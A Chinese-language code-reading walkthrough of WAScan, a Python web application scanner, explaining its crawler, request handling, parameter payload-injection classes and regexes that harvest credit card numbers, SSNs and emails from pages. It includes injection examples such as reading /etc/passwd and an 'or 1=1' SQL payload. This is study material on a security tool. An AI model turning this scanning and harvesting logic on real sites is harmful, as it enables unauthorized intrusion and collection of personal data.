内容简介:WAScan源码阅读所有文件主入口文件。会先初始化一些
WAScan源码阅读
README
- python2.7
整体功能
指纹识别
- cms系统 6
- web框架 22
- cookeis/headers安全
- 开发语言 9
- 操作系统 7
- 服务器 all
- 防火墙 50+
攻击
- Bash 命令注入
- SQL盲注
- 溢出
- CRLF
- 头部 SQL 注入
- 头部XSS
- HTML注入
- LDAP注入
- 本地文件包含
- 执行操作系统命令
- php 代码注入
- SQL注入
- 服务器端注入
- Xpath注入
- XSS
- XML注入
检查
- Apache状态检测
- 开放跳转
- phpinfo
- robots.txt
- xst
暴力攻击
- admin面板
- 后门
- 备份目录
- 备份文件
- 常规目录
- 常规文件
- 隐藏参数
信息搜集
- 信用卡信息
- 邮箱
- 私有ip
- 错误信息
- ssn
整体结构
类型 | 名 | 作用 |
---|---|---|
dir | lib | 扩展,攻击用到的一些字典等等 |
dir | plugin | 主要攻击脚本 |
dir | screen | 一些截图 |
file | .gitignore | 略 |
file | LICENSE | 许可证 |
file | README.md | 介绍 |
file | wascan.py | 主入口文件 |
所有文件
WAScan ├── lib │ ├── db │ │ ├── adminpanel.wascan │ │ ├── backdoor.wascan │ │ ├── commondir.wascan │ │ ├── commonfile.wascan │ │ ├── errors │ │ │ ├── buffer.json │ │ │ ├── ldap.json │ │ │ ├── lfi.json │ │ │ └── xpath.json │ │ ├── openredirect.wascan │ │ ├── params.wascan │ │ ├── phpinfo.wascan │ │ ├── sqldberror │ │ │ ├── db2.json │ │ │ ├── firebird.json │ │ │ ├── frontbase.json │ │ │ ├── hsqldb.json │ │ │ ├── informix.json │ │ │ ├── ingres.json │ │ │ ├── maccess.json │ │ │ ├── maxdb.json │ │ │ ├── mssql.json │ │ │ ├── mysql.json │ │ │ ├── oracle.json │ │ │ ├── postgresql.json │ │ │ ├── sqlite.json │ │ │ └── sybase.json │ │ └── useragent.wascan │ ├── handler │ │ ├── attacks.py │ │ ├── audit.py │ │ ├── brute.py │ │ ├── crawler.py │ │ ├── disclosure.py │ │ ├── fingerprint.py │ │ ├── fullscan.py │ │ └── __init__.py │ ├── __init__.py │ ├── parser │ │ ├── getcc.py │ │ ├── getip.py │ │ ├── getmail.py │ │ ├── getssn.py │ │ ├── __init__.py │ │ └── parse.py │ ├── request │ │ ├── crawler.py │ │ ├── __init__.py │ │ ├── ragent.py │ │ └── request.py │ └── utils │ ├── check.py │ ├── colors.py │ ├── dirs.py │ ├── exception.py │ ├── __init__.py │ ├── params.py │ ├── payload.py │ ├── printer.py │ ├── rand.py │ ├── readfile.py │ ├── settings.py │ ├── unicode.py │ └── usage.py ├── LICENSE ├── plugins │ ├── attacks │ │ ├── bashi.py │ │ ├── blindsqli.py │ │ ├── bufferoverflow.py │ │ ├── crlf.py │ │ ├── headersqli.py │ │ ├── headerxss.py │ │ ├── htmli.py │ │ ├── __init__.py │ │ ├── ldapi.py │ │ ├── lfi.py │ │ ├── oscommand.py │ │ ├── phpi.py │ │ ├── sqli.py │ │ ├── ssi.py │ │ ├── xpathi.py │ │ ├── xss.py │ │ └── xxe.py │ ├── audit │ │ ├── apache.py │ │ ├── __init__.py │ │ ├── open_redirect.py │ │ ├── phpinfo.py │ │ ├── robots.py │ │ └── xst.py │ ├── brute │ │ ├── adminpanel.py │ │ ├── backdoor.py │ │ ├── backupdir.py │ │ ├── backupfile.py │ │ ├── commondir.py │ │ ├── commonfile.py │ │ ├── __init__.py │ │ └── params.py │ ├── disclosure │ │ ├── creditcards.py │ │ ├── emails.py │ │ ├── errors.py │ │ ├── __init__.py │ │ ├── privateip.py │ │ └── ssn.py │ ├── fingerprint │ │ ├── cms │ │ │ ├── adobeaem.py │ │ │ ├── drupal.py │ │ │ ├── __init__.py │ │ │ ├── joomla.py │ │ │ ├── magento.py │ │ │ ├── plone.py │ │ │ ├── silverstripe.py │ │ │ └── wordpress.py │ │ ├── framework │ │ │ ├── apachejackrabbit.py │ │ │ ├── asp_mvc.py │ │ │ ├── cakephp.py │ │ │ ├── cherrypy.py │ │ │ ├── codeigniter.py │ │ │ ├── dancer.py │ │ │ ├── django.py │ │ │ ├── flask.py │ │ │ ├── fuelphp.py │ │ │ ├── grails.py │ │ │ ├── horde.py │ │ │ ├── __init__.py │ │ │ ├── karrigell.py │ │ │ ├── larvel.py │ │ │ ├── nette.py │ │ │ ├── phalcon.py │ │ │ ├── play.py │ │ │ ├── rails.py │ │ │ ├── seagull.py │ │ │ ├── spring.py │ │ │ ├── symfony.py │ │ │ ├── web2py.py │ │ │ ├── yii.py │ │ │ └── zend.py │ │ ├── header │ │ │ ├── cookies.py │ │ │ ├── header.py │ │ │ └── __init__.py │ │ ├── __init__.py │ │ ├── language │ │ │ ├── aspnet.py │ │ │ ├── asp.py │ │ │ ├── coldfusion.py │ │ │ ├── flash.py │ │ │ ├── __init__.py │ │ │ ├── java.py │ │ │ ├── perl.py │ │ │ ├── php.py │ │ │ ├── python.py │ │ │ └── ruby.py │ │ ├── os │ │ │ ├── bsd.py │ │ │ ├── ibm.py │ │ │ ├── __init__.py │ │ │ ├── linux.py │ │ │ ├── mac.py │ │ │ ├── solaris.py │ │ │ ├── unix.py │ │ │ └── windows.py │ │ ├── server │ │ │ ├── __init__.py │ │ │ └── server.py │ │ └── waf │ │ ├── airlock.py │ │ ├── anquanbao.py │ │ ├── armor.py │ │ ├── asm.py │ │ ├── aws.py │ │ ├── baidu.py │ │ ├── barracuda.py │ │ ├── betterwpsecurity.py │ │ ├── bigip.py │ │ ├── binarysec.py │ │ ├── blockdos.py │ │ ├── ciscoacexml.py │ │ ├── cloudflare.py │ │ ├── cloudfront.py │ │ ├── comodo.py │ │ ├── datapower.py │ │ ├── denyall.py │ │ ├── dotdefender.py │ │ ├── edgecast.py │ │ ├── expressionengine.py │ │ ├── fortiweb.py │ │ ├── hyperguard.py │ │ ├── incapsula.py │ │ ├── __init__.py │ │ ├── isaserver.py │ │ ├── jiasule.py │ │ ├── knownsec.py │ │ ├── kona.py │ │ ├── modsecurity.py │ │ ├── netcontinuum.py │ │ ├── netscaler.py │ │ ├── newdefend.py │ │ ├── nsfocus.py │ │ ├── paloalto.py │ │ ├── profense.py │ │ ├── radware.py │ │ ├── requestvalidationmode.py │ │ ├── safe3.py │ │ ├── safedog.py │ │ ├── secureiis.py │ │ ├── senginx.py │ │ ├── sitelock.py │ │ ├── sonicwall.py │ │ ├── sophos.py │ │ ├── stingray.py │ │ ├── sucuri.py │ │ ├── teros.py │ │ ├── trafficshield.py │ │ ├── urlscan.py │ │ ├── uspses.py │ │ ├── varnish.py │ │ ├── wallarm.py │ │ ├── webknight.py │ │ ├── yundun.py │ │ └── yunsuo.py │ └── __init__.py ├── README.md ├── screen │ ├── screen_2.png │ ├── screen_3.png │ ├── screen_4.png │ ├── screen_5.png │ ├── screen_6.png │ ├── screen_7.png │ ├── screen_8.png │ └── screen.png └── wascan.py 22 directories, 218 files
入口文件:wascan.py
主入口文件。会先初始化一些 Usage
,接受命令行参数并进行相关的前期处理。然后根据参数开始进行扫描。
if __name__ == "__main__": try: wascan().main() except KeyboardInterrupt,e: exit(warn('Exiting... :('))
定义了一个 wascan
类,通过 getopt.getopt
接受命令行参数。对应代码如下:
for opt,arg in opts: # CUrl 检查URL ,并规范化 if opt in ('-u','--url'):url = CUrl(arg) # CScan 检查scan参数是否符合范围 if opt in ('-s','--scan'):scan = CScan(arg) # CHeaders 传入参数为字符串,调用该函数解析成dict if opt in ('-H','--headers'):kwargs['headers'] = CHeaders(arg) # POST 体的参数 if opt in ('-d','--data'):kwargs['data'] = arg # 是否进行暴力破解 if opt in ('-b','--brute'):kwargs['brute'] = True # 指定请求方法 if opt in ('-m','--method'):kwargs['method'] = arg # 指定 host ,将其值更新到 header头 的 Host字段 if opt in ('-h','--host'):kwargs['headers'].update({'Host':arg}) # 指定 referer,将其值更新到 header头 if opt in ('-R','--referer'):kwargs['headers'].update({'Referer':arg}) # 指定 auth if opt in ('-a','--auth'):kwargs['auth'] = CAuth(arg) # 指定 agent if opt in ('-A','--agent'):kwargs['agent'] = arg # 指定 cookie if opt in ('-C','--cookie'):kwargs['cookie'] = arg # 采用随机的 agent if opt in ('-r','--ragent'):kwargs['agent'] = ragent() # 采用代理 if opt in ('-p','--proxy'):kwargs['proxy'] = arg # 代理是否要认证 if opt in ('-P','--proxy-auth'):kwargs['pauth'] = CAuth(arg) # 指定超时时间 if opt in ('-t','--timeout'):kwargs['timeout'] = float(arg) # 对于302情况,是否要跟随,默认为 False不跳转 if opt in ('-n','--redirect'):kwargs['redirect'] = False # 是否开启指纹识别 if opt in ('-v','--verbose'):verbose = True # 输出版本信息 if opt in ('-V','--version'):version = Version() # 输出帮助信息 if opt in ('-hh','--help'):self.usage.basic(True)
scan
参数为扫描类型,对应如下:
scan值 | 扫描类型 |
---|---|
0 | 指纹Fingerprint |
1 | 攻击Attacks |
2 | 审计Audit |
3 | 爆破Brute |
4 | 信息搜集Disclosure |
5 | 全面扫描 |
对应代码如下:
class wascan(object): ...省略... def main(self): ...省略... scan = "5" ...省略... try: # 打印时间和URL PTIME(url) if kwargs['brute']: BruteParams(kwargs,url,kwargs['data']).run() if scan == 0: Fingerprint(kwargs,url).run() if scan == 1: Attacks(kwargs,url,kwargs['data']) if scan == 2: Audit(kwargs,url,kwargs['data']) if scan == 3: Brute(kwargs,url,kwargs['data']) if scan == 4: Disclosure(kwargs,url,kwargs['data']).run() # full scan if int(scan) == 5: info('Starting full scan module...') Fingerprint(kwargs,url).run() for u in Crawler().run(kwargs,url,kwargs['data']): test('Testing URL: %s'%(u)) if '?' not in url: warn('Not found query in this URL... Skipping..') if type(u[0]) is tuple: kwargs['data'] = u[1] FullScan(kwargs,u[0],kwargs['data']) else: FullScan(kwargs,u,kwargs['data']) Audit(kwargs,parse.netloc,kwargs['data']) Brute(kwargs,parse.netloc,kwargs['data']) except WascanUnboundLocalError,e: pass
lib/parser 文件夹
主要定义一些匹配模式,用于查找页面上的各种信息。
│ ├── parser │ │ ├── getcc.py │ │ ├── getip.py │ │ ├── getmail.py │ │ ├── getssn.py │ │ ├── __init__.py │ │ └── parse.py
信用卡:lib/parser/getcc.py
获取信用卡信息
def getcc(content): """Credit Card""" CC_LIST = re.findall(r'((^|\s)\d{4}[- ]?(\d{4}[- ]?\d{4}|\d{6})[- ]?(\d{5}|\d{4})($|\s))',content) if CC_LIST != None or CC_LIST != []: return CC_LIST
IP:lib/parser/getip.py
获取ip
def getip(content): """Private IP""" IP_LIST = re.findall(r'[0-9]+(?:\.[0-9]+){3}',content,re.I) if IP_LIST != None or IP_LIST != []: return IP_LIST
邮箱:lib/parer/getmail.py
获取邮箱
def getmail(content): """E-mail""" EMAIL_LIST = re.findall(r'[a-zA-Z0-9.\-_+#~!$&\',;=:]+@+[a-zA-Z0-9-]*\.\w*',content) if EMAIL_LIST != None or EMAIL_LIST != []: return EMAIL_LIST
US SSN: lib/parser/getssn.py
def getssn(content): """US Social Security number""" SSN_LIST = re.findall(r'(((?!000)(?!666)(?:[0-6]\d{2}|7[0-2][0-9]|73[0-3]|7[5-6][0-9]|77[0-2]))-((?!00)\d{2})-((?!0000)\d{4}))',content) if SSN_LIST != None or SSN_LIST != []: return SSN_LIST
抓取解析: lib/parser/parse.py
parse
类,进行真正的信息搜集工作。定义了 clean
方法,将响应中的各种标签,各种可能的符号直接 replace
掉,然后再进行真正的搜索。简单粗暴。
class parse: def __init__(self,content): self.content = content def clean(self): """Clean HTML Response""" self.content = re.sub('<em>','',self.content) self.content = re.sub('<b>','',self.content) self.content = re.sub('</b>','',self.content) self.content = re.sub('<strong>','',self.content) self.content = re.sub('</strong>','',self.content) self.content = re.sub('</em>','',self.content) self.content = re.sub('<wbr>','',self.content) self.content = re.sub('</wbr>','',self.content) self.content = re.sub('<li>','',self.content) self.content = re.sub('</li>','',self.content) for x in ('>', ':', '=', '<', '/', '\\', ';', '&', '%3A', '%3D', '%3C'): self.content = string.replace(self.content,x,' ') def getmail(self): """Get Emails""" self.clean() return getmail(self.content) def getip(self): """ Get IP """ self.clean() return getip(self.content) def getcc(self): """ Get Credit Card""" self.clean() return getcc(self.content) def getssn(self): """ """ self.clean() return getssn(self.content)
lib/request 文件夹
主要是定义一些跟 请求
相关的方法/类/功能
│ ├── request │ │ ├── crawler.py │ │ ├── __init__.py │ │ ├── ragent.py │ │ └── request.py
爬虫:lib/request/crawler.py
如名,爬虫。爬取页面上的所有连接。
try: from BeautifulSoup import BeautifulSoup except ImportError: from bs4 import BeautifulSoup # 定义了要排除的情况。比如 确定是 7z后缀名,说明是压缩包 而不是网页 EXCLUDED_MEDIA_EXTENSIONS = ( '.7z', '.aac', '.aiff', '.au', '.avi', '.bin', '.bmp', '.cab', '.dll', '.dmp', '.ear', '.exe', '.flv', '.gif', '.gz', '.image', '.iso', '.jar', '.jpeg', '.jpg', '.mkv', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.pdf', '.png', '.ps', '.rar', '.scm', '.so', '.tar', '.tif', '.war', '.wav', '.wmv', '.zip' )
接下来是爬虫类 SCrawler
,它继承自 Request
类。
class SCrawler(Request): """ Simple Crawler """ def __init__(self,kwargs,url,data): # 父类初始化 Request.__init__(self,kwargs) # url self.url = url # post 的 data体 self.data = data # 表格? self.forms = [] # ok 的 链接 self.ok_links = [] # 所有 链接 self.all_links = [] # 协议 self.scheme = urlsplit(url).scheme # 域名 self.netloc = urlsplit(url).netloc # 内容 初始化为 空 self.content = None def run(self): # send request resp = self.Send(url=self.url,data=self.data) # 获取响应内容 self.content = resp.content # 调用extract解析出相应内容 self.extract for link in self.all_links: # 对于 all_links 中的所有链接,包括 绝对URL 、 相对URL # 调用 absolute(link) 统一为 绝对URL r_link = self.absolute(link) if r_link: # 如果 r_link 还未被收录到 ok_links 中,则添加 if r_link not in self.ok_links: self.ok_links.append(r_link) return self.ok_links @property # 疑问:<img src="" > 此链接不收取? def extract(self): # href 找到页面里所有的 超链接 <a href="http://test/com">test</a> for tag in self.soup.findAll('a',href=True): # 添加到 all_links 中 self.all_links.append(tag['href'].split('#')[0]) # src 找到页面里所有的 连接 <frame src=""> <iframe src=""> for tag in self.soup.findAll(['frame','iframe'],src=True): self.all_links.append(tag['src'].split('#')[0]) # formaction 定位 button 提取formaction <button type="submit" formaction="demo_admin.asp">以管理员身份提交</button> for tag in self.soup.findAll('button',formaction=True): self.all_links.append(tag['formaction']) # extract form # <form action="demo_form.asp" method="get"> # <input type="text" name="lname" /> # <button type="submit">提交</button><br /> form = self.form() if form != None and form != []: if form not in self.all_links: self.all_links.append(form) @property def soup(self): soup = BeautifulSoup(self.content) return soup # 检查link中的 后缀名 def check_ext(self,link): """check extension""" if link not in EXCLUDED_MEDIA_EXTENSIONS: return link # 检查是否有定义 method,若无则默认为 GET def check_method(self,method): """check method""" if method != []: return "GET" elif method != []: return method[0] # 检查 url 的合法性 # 编码 、空格、 # 等 def check_url(self,url): """check url""" url = unquote_plus(url) url = url.replace("&","&") url = url.replace("#","") url = url.replace(" ","+") return url # 检查 action 对应的值 def check_action(self,action,url): """ check form action """ if action == [] or action[0] == "/": return self.check_url(url) elif action != [] and action != "": if action[0] in url: self.check_url(url) else: return self.check_url(CPath(url+action[0])) def check_name_value(self,string): """ check form name and value """ if string == []: return "TEST" elif string != []: return string[0] # <form action="demo_form.asp" method="get"> # <input type="text" name="lname" /> # <button type="submit">提交</button><br /> def form(self): """ search forms """ # 搜索表格 加入到 self.forms 中 for form in self.soup.findAll('form'): if form not in self.forms: self.forms.append(form) for form in self.forms: if form != "" and form != None: # 调用 extract_form 将 url 从中解析出来 return self.extract_form(str(form),self.url) # <form action="demo_form.asp" method="get"> # <input type="text" name="lname" /> # <button type="submit">提交</button><br /> def extract_form(self,form,url): """ extract form """ query = [] action = "" method = "" try: # method method += self.check_method(findall(r'method=[\'\"](.+?)[\'\"]',form,I)) # action action += self.check_action((findall(r'method=[\'\"](.+?)[\'\"]',form,I),url)) except Exception,e: pass # 寻找form中的参数 ,并保存到 query 中 for inputs in form.split('/>'): if search(r'\<input',inputs,I): try: # name name = self.check_name_value(findall(r'name=[\'\"](.+?)[\'\"]',inputs,I)) # value value = self.check_name_value(findall(r'value=[\'\"](.+?)[\'\"]',inputs,I)) name_value = "%s=%s"%(name,value) if len(query) == 0:query.append(name_value) if len(query) == 1:query[0] += "&%s"%(name_value) except Exception,e: pass # 根据 method 的不同,组装url if action: if method.lower() == "get": if query != []: return "%s?%s"%(action,query[0]) return action elif method.lower() == "post": if query != []: return action,query[0] return action # 注,这里存在BUG。 # 调用链 form = self.form() # form() 的返回 return self.extract_form(str(form),self.url) # extract_form 在 method为 POST 且 query != [] 的情况下 , # return action,query[0] # 会丢失掉 query[0] 即 POST 的参数 # 获取绝对URL def absolute(self,link): """ make absolute url """ link = self.check_ext(link) parts = urlsplit(link) # urlsplit scheme = ucode(parts.scheme) netloc = ucode(parts.netloc) path = ucode(parts.path) or '/' query = ucode(parts.query) # make if scheme == 'http' or scheme == 'https': if netloc != "": if netloc in self.netloc: return urlunparse((scheme,netloc,path,'',query,'')) # elif link.startswith('//'): if netloc != "": if self.netloc in netloc: return urlunparse((self.scheme,netloc,(path or '/'),'',query,'')) # elif link.startswith('/'): return urlunparse((self.scheme,self.netloc,path,'',query,'')) # elif link.startswith('?'): return urlunparse((self.scheme,self.netloc,path,'',query,'')) # elif link == "" or link.startswith('#'): return self.url # else: return urlunparse((self.scheme,self.netloc,path,'',query,''))
User Agent: lib/request/ragent.py
生成随机的 User-Agent。命令行选项 wascan.py --ragent
开启。
def ragent(): """random agent""" user_agents = () realpath = path.join(path.realpath(__file__).split('lib')[0],'lib/db/') realpath += "useragent.wascan" for _ in readfile(realpath): user_agents += (_,) return user_agents[randint(0,len(user_agents)-1)]
请求:lib/requests/request.py
基本请求。包括请求/代理认证,请求,重定向,响应的处理。
两个方法用于请求/代理认证
if hasattr(ssl, '_create_unverified_context'): ssl._create_default_https_context = ssl._create_unverified_context # BasicAuthCredentials 用来处理 认证相关的信息 # wascan.py --url xxx --proxy yyy --proxy-auth "root:1234" # wascan.py --url xxx --auth "admin:1233" # In [20]: creds = "admin:123" # In [21]: BasicAuthCredentials(creds) # Out[21]: ('admin', '123') def BasicAuthCredentials(creds): # return tuple return tuple( creds.split(':') ) # wascan.py --url xxx --scan yyy --proxy 10.10.10.10:80 def ProxyDict(proxy): # return dict return { 'http' : proxy, 'https' : proxy }
Request类,发送基本请求,处理头部参数,认证、代理、cookie、超时等问题。
class Request(object): """docstring for Request""" # 接受参数 def __init__(self,*kwargs): self.kwargs = kwargs # 发送请求 def Send(self,url,method="get",data=None,headers=None): # make a request # 提取各项参数 并 保存到 __dict__ ,后期进一步处理 _dict_ = self.kwargs[0] # self.kwargs is a tuple, select [0] # 获取各项值 auth = None if "auth" not in _dict_ else _dict_["auth"] agent = None if "agent" not in _dict_ else _dict_["agent"] proxy = None if "proxy" not in _dict_ else _dict_["proxy"] pauth = None if "pauth" not in _dict_ else _dict_["pauth"] cookie = None if "cookie" not in _dict_ else _dict_["cookie"] timeout = None if "timeout" not in _dict_ else _dict_["timeout"] redirect = True if "redirect" not in _dict_ else _dict_["redirect"] _headers_ = None if "headers" not in _dict_ else _dict_["headers"] _data_ = None if "data" not in _dict_ else _dict_["data"] _method_ = None if "method" not in _dict_ else _dict_["method"] # set method if method: if _method_ != None: method = _method_.upper() else: method = method.upper() # set data if data is None: if _data_ != None: data = _data_ else: data = {} # if headers == None: headers = {} if headers is None: headers = {} # if auth == None: auth = () if auth is None: auth = () # set request headers # add user-agent header value if 'User-Agent' not in headers: headers['User-Agent'] = agent # _headers_ add to headers if isinstance(_headers_,dict): headers.update(_headers_) # 处理 认证 、代理 # process basic authentication if auth != None and auth != (): if ':' in auth: authorization = ("%s:%s"%(BasicAuthCredentials(auth))).encode('base64') headers['Authorization'] = "Basic %s"%(authorization.replace('\n','')) # process proxy basic authorization if pauth != None: if ':' in pauth: proxy_authorization = ("%s:%s"%(BasicAuthCredentials(pauth))).encode('base64') headers['Proxy-authorization'] = "Basic %s"%(proxy_authorization.replace('\n','')) # 处理 超时问题 # process socket timeout if timeout != None: socket.setdefaulttimeout(timeout) # set handlers # handled http and https handlers = [urllib2.HTTPHandler(),urllib2.HTTPSHandler()] # process cookie handler if 'Cookie' not in headers: if cookie != None and cookie != "": headers['Cookie'] = cookie # handlers.append(HTTPCookieProcessor(cookie)) # process redirect # 处理是否跳转 , NoRedirectHandler 定义见下 if redirect != True: handlers.append(NoRedirectHandler) # process proxies if proxy: proxies = ProxyDict(proxy) handlers.append(urllib2.ProxyHandler(proxies)) # install opener opener = urllib2.build_opener(*handlers) urllib2.install_opener(opener) # process method # method get if method == "GET": if data: url = "%s?%s"%(url,data) req = urllib2.Request(url,headers=headers) # other methods elif method == "POST": req = urllib2.Request(url,data=data,headers=headers) # other methods else: req = urllib2.Request(url,headers=headers) req.get_method = lambda : method # response object try: resp = urllib2.urlopen(req) except urllib2.HTTPError,e: resp = e except socket.error,e: exit(warn('Error: %s'%e)) except urllib2.URLError,e: exit(warn('Error: %s'%e)) return ResponseObject(resp)
NoRedirectHandler
,不进行跳转。
class NoRedirectHandler(urllib2.HTTPRedirectHandler): """docstring for NoRedirectHandler""" def http_error_302(self,req,fp,code,msg,headers): pass # http status code 302 http_error_302 = http_error_302 = http_error_302 = http_error_302
响应处理类。获取响应内容,响应url,响应的status_code,响应的头部。
class ResponseObject(object): """docstring for ResponseObject""" def __init__(self,resp): # get content self.content = resp.read() # get url self.url = resp.geturl() # get status code self.code = resp.getcode() # get headers self.headers = resp.headers.dict
lib/utils 文件夹
主要是定义一些小功能、小工具
│ └── utils │ ├── check.py │ ├── colors.py │ ├── dirs.py │ ├── exception.py │ ├── __init__.py │ ├── params.py │ ├── payload.py │ ├── printer.py │ ├── rand.py │ ├── readfile.py │ ├── settings.py │ ├── unicode.py │ └── usage.py
package标识:lib/utils/init.py
无,跳过
基本检查:lib/utils/check.py
如名,主要进行一些前期的检查准备。
#!/usr/bin/env python # -*- coding:utf-8 -*- # # @name: Wascan - Web Application Scanner # @repo: https://github.com/m4ll0k/Wascan # @author: Momo Outaadi (M4ll0k) # @license: See the file 'LICENSE.txt' from re import sub,I,findall from lib.utils.colors import * from lib.utils.printer import * from urlparse import urlsplit,urljoin from lib.utils.rand import r_string # CPath 检查路径,用于处理 绝对/相对路径,生成完整路径 # 实际调用 urlparse 的 urljoin # In [43]: CPath("http://www.google.com/1/aaa.html","bbbb.html") # Out[43]: 'http://www.google.com/1/bbbb.html' # In [44]: CPath("http://www.google.com/1/aaa.html","/2/bbbb.html") # Out[44]: 'http://www.google.com/2/bbbb.html' # In [45]: CPath("http://www.google.com/1/aaa.html","2/bbbb.html") # Out[45]: 'http://www.google.com/1/2/bbbb.html' def CPath(url,path): return urljoin(url,path) # 生成随机参数值 # 这段代码存在bug # In [49]: AParams("test=chybeta") # --------------------------------------------------------------------------- # TypeError Traceback (most recent call last) # <ipython-input-49-103eb92ad1e0> in <module>() # ----> 1 AParams("test=chybeta") # /media/chybeta/security/tool/scanner/WAScan/lib/utils/check.py in AParams(params) # 21 return "%s=%s"%(params,random_string) # 22 else: # ---> 23 return "%s%s"%(r_string(10)).upper() # 24 return params # 25 # TypeError: not enough arguments for format string # fix bug: # return "%s%s"%(params, random_string) def AParams(params): random_string = "%s"%(r_string(10)).upper() if '=' not in params: return "%s=%s"%(params,random_string) else: # 这里如果 = 已经出现在 params 中了 return "%s%s"%(r_string(10)).upper() return params # CQuery 拼接 url 和 查询参数 ,主要针对 GET请求 def CQuery(url,params): # 生成参数值对 params = AParams(params) # http://test.com/? if url.endswith('?'): # 直接加上 参数 return url+params # 如果不是 elif not url.endswith('?'): # http://test.com/a& if url.endswith('&'): # 也可以直接加上参数 return url+params # http://test.com/?a=1 elif '?' in url and '&' not in url: # 需要加上 & 符号 return url+'&'+params else: # 其他情况,干脆直接 加 ? return url+"?"+params else: # 这句话多余???? return url+"?"+ params def CParams(url): if '&' not in url: url = sub(findall(r'\?(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\?(\S*)\=',url)[0],RESET),url) return url elif '&' in url: url = sub(findall(r'\&(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\&(\S*)\=',url)[0],RESET),url) return url else: return url # url检查,协议 def CUrl(url): split = urlsplit(url) # check URL scheme if split.scheme not in ['http','https','']: # e.g: exit if URL scheme = ftp,ssh,..etc exit(less('Check your URL, scheme "%s" not supported!!'%(split.scheme))) else: # if URL --> www.site.com if split.scheme not in ['http','https']: # return http://www.site.com return "http://%s"%(url) else: return url # url重组 def CNQuery(url): if '?' in url: parse = urlsplit(url) if parse.scheme:return parse.scheme + '://' + parse.netloc + '/' else: return 'http://' + parse.path+'/' else: parse = urlsplit(url) if parse.scheme:return parse.scheme + '://' + parse.netloc + '/' else:return 'http://' + parse.path + '/' # 检查url的尾部 是否 / 结尾,去除 def CEndUrl(url): if url.endswith('/'): return url[:-1] return url # 接受 scan参数即 扫描类型 # 然后进行检查是否在 0 - 5 的范围内 def CScan(scan): # check scan options if scan not in ['0','1','2','3','4','5']: info('Option --scan haven\'t argument, assuming default value 5') scan = int('5') if isinstance(scan,str): return int(scan) return int(scan) # 对 URL进行各项切分 class SplitURL: def __init__(self,url): # http,https # 协议 self.scheme = urlsplit(url).scheme # 域名 # www.site.com self.netloc = CUrl(urlsplit(url).netloc) # 路径 # /test/index.php self.path = urlsplit(url).path # 查询参数 # id=1&f=1 self.query = urlsplit(url).query # fragment # #test self.fragment = urlsplit(url).fragment # 解析 host头部 def CHeaders(headers): # e.g: "Host:google.com" return {'Host':'google.com'} _ = {} if ':' in headers: if ',' in headers: headerList = headers.split(',') for header in headerList: _[header.split(':')[0]] = header.split(':')[1] else: _[headers.split(':')[0]] = headers.split(':')[1] return _ # 用于 认证 def CAuth(auth): if ':' not in auth: return "%s:"%(auth) return auth
颜色常量定义: lib/utils/colors.py
定义一些颜色常量,略过。
列举py文件: lib/utils/dirs.py
定义了 dirs
函数,用于列举出指定目录下,指定后缀名为 py
,且不是 __init__.py
的 py文件。
def dirs(path): files = [] _ = os.listdir(path) for file in _: if not file.endswith('.py') or file == '__init__.py':pass else:files.append(file) return files
测试用例如下:
In [39]: from lib.utils.dirs import dirs In [40]: dirs("./") Out[40]: ['wascan.py'] In [41]: dirs("./lib/utils/") Out[41]: ['params.py', 'usage.py', 'colors.py', 'readfile.py', 'exception.py', 'check.py', 'printer.py', 'unicode.py', 'settings.py', 'rand.py', 'dirs.py', 'payload.py']
异常定义:lib/utils/exception.py
定义了几种可能出现的错误:
class WascanUnboundLocalError(UnboundLocalError): pass class WascanDataException(Exception): pass class WascanNoneException(Exception): pass class WascanInputException(Exception): pass class WascanGenericException(Exception): pass class WascanConnectionException(HTTPError): pass class WascanKeyboardInterrupt(KeyboardInterrupt): pass
参数payload处理:lib/utils/params.py
定义了两个类,用于处理 请求参数
和 payload
的关系,替换和拼接。替换的场景,比如任意文件读取, ?readfile=xx
可能替换成 ?readfile=/etc/passwd
。拼接的场景,比如SQL注入, ?id=1
,可能拼接为 ?id=1'
或者 ?id=1" or 1=1
第一个类 preplace
替换,用于把 请求参数
的值替换为对应的 payload
。存疑一:get请求中用 sub(porignal,ppayload,self.url)
来处理,而post请求中用 self.data.replace(porignal,ppayload
请求。
class preplace: """ replace params with payload""" # 初始化 def __init__(self,url,payload,data): # url self.url = url # data 指 POST请求的 POST部分 # 对于 GET 请求,data 为 None self.data = data # _params self._params = [] # 对应的 payload self.payload = payload # 处理GET请求 # http://test.com?a=1&b=2 def get(self): """get""" params = self.url.split("?")[1].split("&") # params = ['a=1', 'b=2'] # 对 params 中的每一个参数 for param in params: # 按照 = 切割,替换成payload 即 a=payload ppayload = param.replace(param.split("=")[1],self.payload) # 获取原本的参数对 porignal = param.replace(ppayload.split("=")[1],param.split("=")[1]) # http://test.com?a=payload&b=2 self._params.append(sub(porignal,ppayload,self.url)) # 处理POST请求 def post(self): """post""" params = self.data.split("&") for param in params: ppayload = param.replace(param.split("=")[1],self.payload) porignal = param.replace(ppayload.split("=")[1],param.split("=")[1]) self._params.append(self.data.replace(porignal,ppayload)) # 开始处理 def run(self): # 如果 url中 带有 ? , 并且 data部分 为 None if "?" in self.url and self.data == None: # GET请求 处理 self.get() # 如果 url中 没有 ? , 并且 data部分 不为 None elif "?" not in self.url and self.data != None: # POST请求 处理 self.post() # 其他情况 无法明确判断 else: # 都进行一遍处理 self.get() self.post() return self._params
第二个类 padd
,用于往请求参数中添加payload。
class padd: """ add the payload to params """ # 基本的初始化 def __init__(self,url,payload,data): self.url = url self.data = data self._params = [] self.payload = payload # 处理GET请求 # http://test.com?a=1&b=2 def get(self): """get""" params = self.url.split("?")[1].split("&") for param in params: # a=1payload ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload) porignal = param.replace(ppayload.split("=")[1],param.split("=")[1]) self._params.append(sub(porignal,ppayload,self.url)) def post(self): """post""" params = self.data.split("&") for param in params: ppayload = param.replace(param.split("=")[1],param.split('=')[1]+self.payload) porignal = param.replace(ppayload.split("=")[1],param.split("=")[1]) self._params.append(self.data.replace(porignal,ppayload)) # 进行处理 def run(self): if "?" in self.url and self.data == None: self.get() elif "?" not in self.url and self.data != None: self.post() else: self.get() self.post() return self._params
基本攻击payload: lib/utils/payload.py
整合了基本攻击的各种payload。对于每种攻击,返回list。结合前面 整体功能 -> 攻击
章节:
类型 | 对应函数payload |
---|---|
Bash 命令注入 | bash() |
SQL盲注 | bsql() |
溢出 | None |
CRLF | crlfp() |
头部SQL注入 | None |
头部XSS | None |
HTML注入 | html() |
LDAP注入 | ldap() |
